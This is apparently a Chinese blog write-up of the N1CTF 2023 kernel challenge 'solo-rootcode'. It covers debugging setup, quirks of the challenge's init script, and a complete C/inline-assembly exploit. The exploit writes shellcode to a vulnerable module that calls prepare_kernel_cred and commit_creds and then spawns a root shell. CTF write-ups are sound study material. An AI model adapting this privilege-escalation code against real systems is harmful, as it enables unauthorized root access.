本文最后更新于:2024年1月10日 凌晨
谁说遇到内核Jmp.Cliff就一定会寄的?
N1CTF 2023
最近要给自己上强度,现看一看以前的题吧。
so,不说废话,直接讲题。
solo-rootcode
复习复习这个签到内核
__,启动!
关于内核如何启动
三板斧启动脚本tools.sh,集合了编译、gdb、qemu三个步骤:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| #!/bin/sh gcc -o exp exp.c --static -masm=intel -g -lpthread cp exp rootfs cd ./rootfs gen-cpio rootfs.cpio cp rootfs.cpio .. cd ..
./run.sh
|
注释部分打开前三行即可启动GT.gdb,即gdb的启动选项
GT.gdb(GT是gdb tools的缩写……)
1 2 3 4 5
| target remote localhost:1234 set $lkm_base = 0xffffffffc0201000 add-symbol-file ./rootfs/vuln.ko $lkm_base b*($lkm_base + 0x90) b*($lkm_base + 0x14C)
|
使用时执行tools.sh,利用里面注释掉的那三行启动GT.gdb即可。
关于启动时的异常
- 做题前直接把题目压缩文件拖进来,然后在虚拟机内部解压。不要在外面解压然后复制进来,有时候有毛病。
- gdb挂不上去的话,检查run.sh启动脚本的-s是否开启(《对方拒绝通话》)
- start的启动内存给多点,别太吝啬
题目分析
不需要分析,write功能是rootcode,直接利用栈上的残留数据计算kernel_cred_prepare和commit_creds的地址就行了。
扫雷
这题的init文件非常坑人
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| #!/bin/sh
mount -t proc none /proc mount -t sysfs none /sys mount -t tmpfs tmpfs /tmp mount -t devtmpfs none /dev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
echo 1 > /proc/sys/kernel/dmesg_restrict echo 2 > /proc/sys/kernel/kptr_restrict
chmod 600 /flag
insmod vuln.ko chmod 666 /dev/vuln
ifconfig eth0 10.0.2.15 route add default gw 10.0.2.2
su ctf -c /bin/bash
poweroff -f
|
首先是这两行:
1 2
| echo 1 > /proc/sys/kernel/dmesg_restrict echo 2 > /proc/sys/kernel/kptr_restrict
|
一般来说我们想看一个模块的加载地址可以这样,但是上面的这些会影响这个办法。
1
| cat /sys/module/LKM名字/sections/段名(一般是.text)
|
老东西可能一眼就看出来了,但是新人并不能很好地看懂启动参数。下面/proc/sys/kernel/kptr_restrict 会导致这个指令读取的全是0。这里把echo的改成1就行了。
其次是
这里并不是以前那种setuid的方式,其实改成root就行了。
最后再记录一下,关闭内核kaslr的方法是把kaslr改成nokaslr而不是no kaslr……
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| #include "kernelpwn.h"
int fd=0; size_t prepare_kernel_cred=0x1bb6a0 ; size_t commit_creds=0x1bb400 ;
void rootcode(){ asm volatile( "push rbp;" "mov rax,[rsp+0x28];" "sub rax,0x4078B5;" "push rax;" "add rax,0x1bb6a0;" "xor rdi,rdi;" "call rax;" "mov rdi,rax;" "pop rax;" "add rax,0x1bb400;" "call rax;" "nop;" "nop;" ); }
int main(){ printf("linux kernel pwn start!\n");
fd=open("/dev/vuln",O_RDWR); if(!fd) { printf("open failed!\n"); exit(0); }
write(fd,((char*)&rootcode+8),0x100);
get_root_shell();
return 0; }
|